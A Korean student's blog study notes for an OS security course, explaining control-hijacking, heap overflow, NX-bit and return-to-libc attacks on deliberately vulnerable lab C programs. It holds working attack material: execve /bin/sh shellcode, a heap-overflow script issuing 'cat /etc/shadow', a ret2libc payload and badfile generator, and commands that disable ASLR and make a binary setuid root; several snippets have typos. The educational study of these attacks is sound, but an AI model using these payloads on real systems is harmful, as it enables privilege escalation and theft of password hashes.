[운영체제보안] Control Hijacking Attacks & Return-to-libc Attacks

cloudbread·2025년 12월 8일

보안

목록 보기
7/7

1. Control Hijacking Attacks

  • Control flow (제어 흐름) : 프로그램의 개별 명령문, 명령어 또는 함수 호출이 실행되거나 평가되는 순서를 의미
  • Control Hijacking Attacks : run time 중에 발생하는 오류 => 메모리 손상 취약점을 악용하여 프로그램이 의도한 제어 흐름을 우회하거나 조작하는 공격
  • Control Hijacking Attacks = Control flow Hijacking Attacks
  • 코드 포인터를 변조 하거나 eip를 가로채어 공격자가 원하는 코드로 흐름을 강제한다.
  • eip를 조작하려면 return address를 조작하면 된다.
  • 접근해서는 안되는 메모리 영역을 변경하는 방식으로 수행
  • 예 : Code injection attacks, Code reuse attacks

2. Control Flow Graphs (CFG)

  • Basic block : 프로그램 명령어들이 선형적으로 나열된 구간을 의미 => 하나의 진입 지점과 종료 지점만을 가진다.
  • 제어 흐름 그래프 (Control Flow Graphs)는 노드가 기본 블록을 나타내고, 엣지가 제어 흐름 경로를 나타내는 방향성 그래프이다.

3. Heap Overflow

typedef struct chunk {
        char inp[64];
        void (*process)(char *);
} chunk_t;

void showlen(char *buf){
        int len;
        len = strlen(buf);
        printf("buffer5 read %d chars\n", len);
}

int main(int argc, char *argv[]){
        chunk_t *next;

        setbuf(stdin,NULL);
        next = malloc(sizeof(chunk_t));
        next->process = showlen;
        printf("Enter value: ");
        gets(next->inp);
        next->process(next->inp);
        printf("buffer5 done\n");
}
  • 힙에서 메모리 구조체를 할당하면 다음과 같은 순서로 저장된다.
[ 64바이트 inp ][ 함수 포인터 process ]
  • strlen() => 문자열의 길이를 계산한다. (\0 문자 만날 떄까지 계산)
  • setbuf(stdin,NULL) : 표준 입력 버퍼링을 비활성화하여 입력시 즉시 처리되도록 만드는 함수 호출이다. => enter없이도 입력이 바로 처리됨.
  • gets(): 사용자가 입력한 문자열을 버퍼에 그대로 저장 => 입력 길이를 검사하지 않는다 => inp[64]보다 긴 데이터를 입력하면 바로 뒤에 있는 함수 포인터(process) 메모리까지 덮어쓰게 된다.
  • (참고) stdout: \n을 만나야 화면에 출력된다.
  • (참고) stdin : 사용자가 enter를 누르기 전까지 프로그램에 전달되지 않는다.
$ cat attack2
#!/bin/sh
# implement heap overflow against program buffer5
perl -e 'print pack("H*",
"9090909090909090909090909090"
"9090b8...                      # 쉘코드 (기계어)
"460c00b89f38d4e08d...          # 계속되는 쉘코드
"fffffffff260...20202020"       # 리틀엔디언 주소 등
);'
print "whoami\n";
print "cat /etc/shadow\n";
$ attack2 buffer5

4. buffer overflow without code injection

![]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct chunk {
        char inp[8];
        void (*proc)(char*);
}chunk_t;

void showbuf(char* buf){
        printf("buf = %s\n", buf);
}

void runsh(char* buf){
        system("/bin/sh");
        printf("buf=%s\n", buf);
}

int main(int argc, char* argv[]){
        chunk_t *next;

        next = malloc(sizeof(chunk_t));
        printf("inp=%p, proc%p\n", next->inp, &(next->proc));
        printf("runsh=%p\n",runsh);
        next->proc=showbuf;
        next->proc(next->inp);

        strcpy(next->inp, argv[1]);
        next->proc(next->inp);
        printf("Heap buffer done\n");

  • 위 코드를 컴파일해서 실행하면 다음과 같은 결과를 확인할 수 있다.
  • 지금 보면 runsh의 주소는 0x565561fb인 것을 확인할 수 있음
    ![]
  • 실행해보면 heap overflow로 인해서 root shell이 탈취되었음을 확인할 수 있다.
  • ps 차이를 잘 이해하는 것이 중요하다.

5. Nx-bit 실습

/* shellcode.c */
#include <string.h>

const char code[] =
    "\x31\xc0\x50\x68//sh\x68/bin"
    "\x89\xe3\x50\x53\x89\xe1\x99"
    "\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
    char buffer[sizeof(code)];
    strcpy(buffer, code);
    ((void(*)())code)();
}
  • code[]배열은 단순한 문자배열이다 => 배열 안에는 shellcode가 들어가 있을 뿐, C가 보기에는 그냥 char 배열이다. => 데이터 영역에 들어간다.
  • ((void(*)())code)(); : code 변수를 함수 포인터로 캐스팅 하는 형태 => 이 문자열은 그냥 데이터가 아니라 함수 주소이다. => code의 주소값을 받아 이 주소에는 함수가 있다고 가정하겠다.
gcc -z execstack shellcode.c 
a.out 
$
  • Nxbit를 꺼서 실행하면 잘 실행이 됨.
gcc -z noexecstack shellcode.c 
a.out 
segmentation fault (core dumped) 
  • code 배열은 데이터 세그먼트에 위치하고 있기 때문에, Nxbit를 활성화하면 segmentaion fault가 발생한다.

6. Nx-bit를 우회하는 방법 - Jump to Existing Code

  • NX비트가 활성화 되면 스택, 힙, 데이터 세그먼트에서는 공격자가 넣은 쉘 코드를 실행할 수 없다.
  • 그래서 공격자가 새 코드를 실행하지 않고, 이미 실행 가능한 text 영역에 있는 기존 코드를 이용하는 기법을 사용한다. => return to libc
  • .text 영역의 라이브러리 코드 (libc 등)로 점프
#include <stdio.h>

void echo() {
    char buffer[80];
    gets(buffer);     // 위험한 함수
    puts(buffer);
}

int main() {
    echo();
    printf("Done");
    return 0;
}
  • RT을 기점으로 차례대로 system의 주소, exit의 주소, /bin/sh의 주소를 입력하면된다.
  • exit()를 사용하는 이유는 공격 흔적을 남기지 않기 위해서이다.
  • gets()가 위험한 이유 : 입력된 값을 그대로 buffer에 밀어넣는다. => 개행문자가 나올때까지 입력을 읽어서 s에 저장한다.
  • 실행하는법
printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\x30\xf4\xe5\xb7\xb0\x2f\xe5\xb7\x8c\xfe\xff\xbf" > payload
./vuln < payload
  • 이를 실행할 때는 ASLR이 비활성화 되어있어야한다.

7. Nx-bit를 우회하는 방법 - Jump to Existing Code

  • 이를 실행하기 위해서는 stack canary와 ASLR을 0으로 만들어야한다.
gcc -fno-stack-protactor -z -o stack stack.c
sudo sysctl -w kerner.randomize_va_space=0
sudo chown root stack
sudo chmod 4755 stack
int vul_func(char *str)
{
     char buffer[50];
     strcpy(buffer, str);
     return 1;
}

int main (int argc, char **argv)
{
   char str[240];
   FILE *badfile;
   
   badfile = fopen("badfile", "r");
   fread(str, sizeof(char), 200, badfile);
   vul_func(str);
   
   printf("Return Properly\n");
   return 1;
}
  • A.공격이 성공하기 위해서는 system() 함수의 주소를 찾는 과정
gdb stack 
(gdb) run
(gdb) p system
(gdb) p exit
  • B. /bin/sh의 주소를 찾는 과정
#include <stdio.h>

int main(){
     char *shell = (char *)getenv("MYSHELL");
     
     if (shell){
         printf (" Value : %s\n"m shell);
         printf (" Address : %x\n, (unsigned int)shell);
   }
   
   return 1;
}
gcc envaddr.c -o env55
export MYSHELL="/bin/sh"
./env55
  • 이때 주의해야할 점은 실행 파일의 이름이 바뀌면 환경변수의 위치가 달라질 수 있다.
gcc -g envadddr.c -o envaddr_dbg
gdb envaddr_dbg
(gdb) run
(gdb) x/100s *((char **)environ)
  • C.스택에 인자/eixt주소/system주소 배열

5. Malicious Code

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
char buf[200]
FILE *badfile;

memset (buf, 0xaa, 200); //fill the buffer with non-zeros

*(long *) &buf[70] = 0xbffffe8c; // "/bin/sh"
*(long *) &buf[66] = 0xb7e52fb0; // exit()
*(long *) &buf[62] = 0xb7e5f430; // system()

badfile = fopen("./badfile","w");
fwrite (buf, sizeof(buf), 1, badfile);
fclose(badfile);

8. Linking

  • 링킹은 컴파일된 여러 객체파일과 라이브러리를 하나의 실행 파일로 결합하는 과정
  • 정적 링킹 : 라이브러리의 실제 코드가 실행 파일 내부로 복사
  • 동적 링킹 : 프로그램 안에 라이브러리 함수의 주소(심볼)만 남기고 실제 코드는 런타임에 로딩하여 연결

9. 함수에 대한 정의

  • 함수에 대한 선언
  • 함수에 대한 정의
  • 함수에 대한 호출

10. 함수의 프롤로그/에필로그

  • 함수가 실행되기 전에 이미 스택에 들어가는 값 => 인자, 리턴 주소
  • 1) 함수의 프롤로그
pushl % ebp //이전 함수의 ebp값을 스택에 저장
movl %esp, %ebp //esp의 값을 ebp에 저장함 
subl $N, %esp // esp의 값을 감소시키면 스택에 빈 공간이 생김
  • 2) 함수의 에필로그
movl %ebp, %esp // 스택 포인터를 이전의 EBP 값으로 되돌림 => 지역 변수 공간 해제 
popl %ebp // 프롤로그에서 %ebp에 저장했던 값을 꺼내서 복원한다. 
ret // 스택의 리턴 주소로 꺼내서 해당 주소로 점프 

11. 함수의 프롤로그/에필로그 예

void foo(int x) {
   int a;
   a = x;
}

void bar() {
   int b = 5;
   foo (b);
}
foo:
   push %epb 
   movl %esp %ebp
   subl $16 %esp
   movl 8(%ebp), %eax 
   movl %eax, -4(%ebp)
   leave 
   ret 
  • subl $16 %esp에서 16인 이유는 x86 ABI에서 스택은 16바이트 단위로 정렬하는 것이 권장되기 때문이다. => 실제 필요한 공간은 지역변수 a -> 4B

12. How to Find system()'s Argument Address

  • 1) strcpy()가 있기 때문에 가능한 공격이다
    • strcpy()는 경계를 검사하지 않고 문자열을 복사하는 함수 => 공격자가 과도하게 긴 입력을 제공하면, 버퍼의 크기를 초과하여 인접한 스택 영역까지 덮어쓰는 것이 가능해짐
  • 2) 단순히 return address만 조작하는 것이 아니라 함수 인자도 함께 조작해야한다.
------------- ← 높은 주소
[높은 주소]  
   "/bin/sh" 의 주소         ← ARG(1)
   exit() 주소               ← RET(2)
   system() 주소             ← RET(1)
   공격자가 덮어쓴 saved EBP
   공격자가 덮어쓴 local buffer
[낮은 주소]
------------- ← 낮은 주소
  • system()함수가 호출되면, system()자체도 return address를 pop해야 한다.
  • vul_func() 종료 → RET → system() 진입
------------- ← 높은 주소
[높은 주소]  
   "/bin/sh" 의 주소         ← ARG(1)
   exit() 주소               ← RET(2)
   epb  
[낮은 주소]
------------- ← 낮은 주소

15. Return to Libc

  • Code reuse attack
  • return address를 공격자가 원하는 libc 함수 주소로 덮어쓰기
  • NX bit가 활성되어 있을때, shellcode 삽입할 필요없이 공격이 가능
✔ 프로세스 메모리 공간에서 사용 가능한 영역
	1.	Writable 영역 (실행 불가)
	•	Stack
	•	Heap
	•	Data/BSS
	2.	Executable 영역
	•	Code segment(.text)
	•	Shared libraries(like libc)
  • libc 라이브러리는 거의 모든 Unix/Linux 프로그램에 링크된다.
  • 방어 기법 1) 시스템 라이브러리에서 system()함수를 빼면됨
  • 방어 기법 2) ASLR (Address Space Layout Randomization)
  • 방어 기법 3) CFI (Control-Flow Integrity) => 어떤 프로그램이 만들어지면, 컴파일 직후에 CFI 그래프를 그리고 return 되기 직전에 체킹하면된다.

14. 용어 정리

  • code injection attack : control Hijection Attacks의 한 유형으로, 프로그램의 의도된 제어 흐름을 공격자가 미리 주입한 악성 코드로 변경하는 공격을 의미
  • shellcode : 공격자가 제공하는 코드를 의미, 버퍼 오버플로우가 발생하는 버퍼 안에 저장된다 => 전통적으로 공격후 shell로 제어를 넘기기 위해 사용되었다.
  • code-reuse attack : 코드 재사용 공격은 프로그램의 정상적인 제어 흐름을 우회하여, 프로그램 내부에 이미 존재하는 코드 조각들을 악의적으로 조합해 실행시키는 제어 흐름 공격의 한 형태이다. => 예 ) retrun-to-Libc, Return-Oriented Programming(ROP)
profile
잡다한거 다 공부중....

0개의 댓글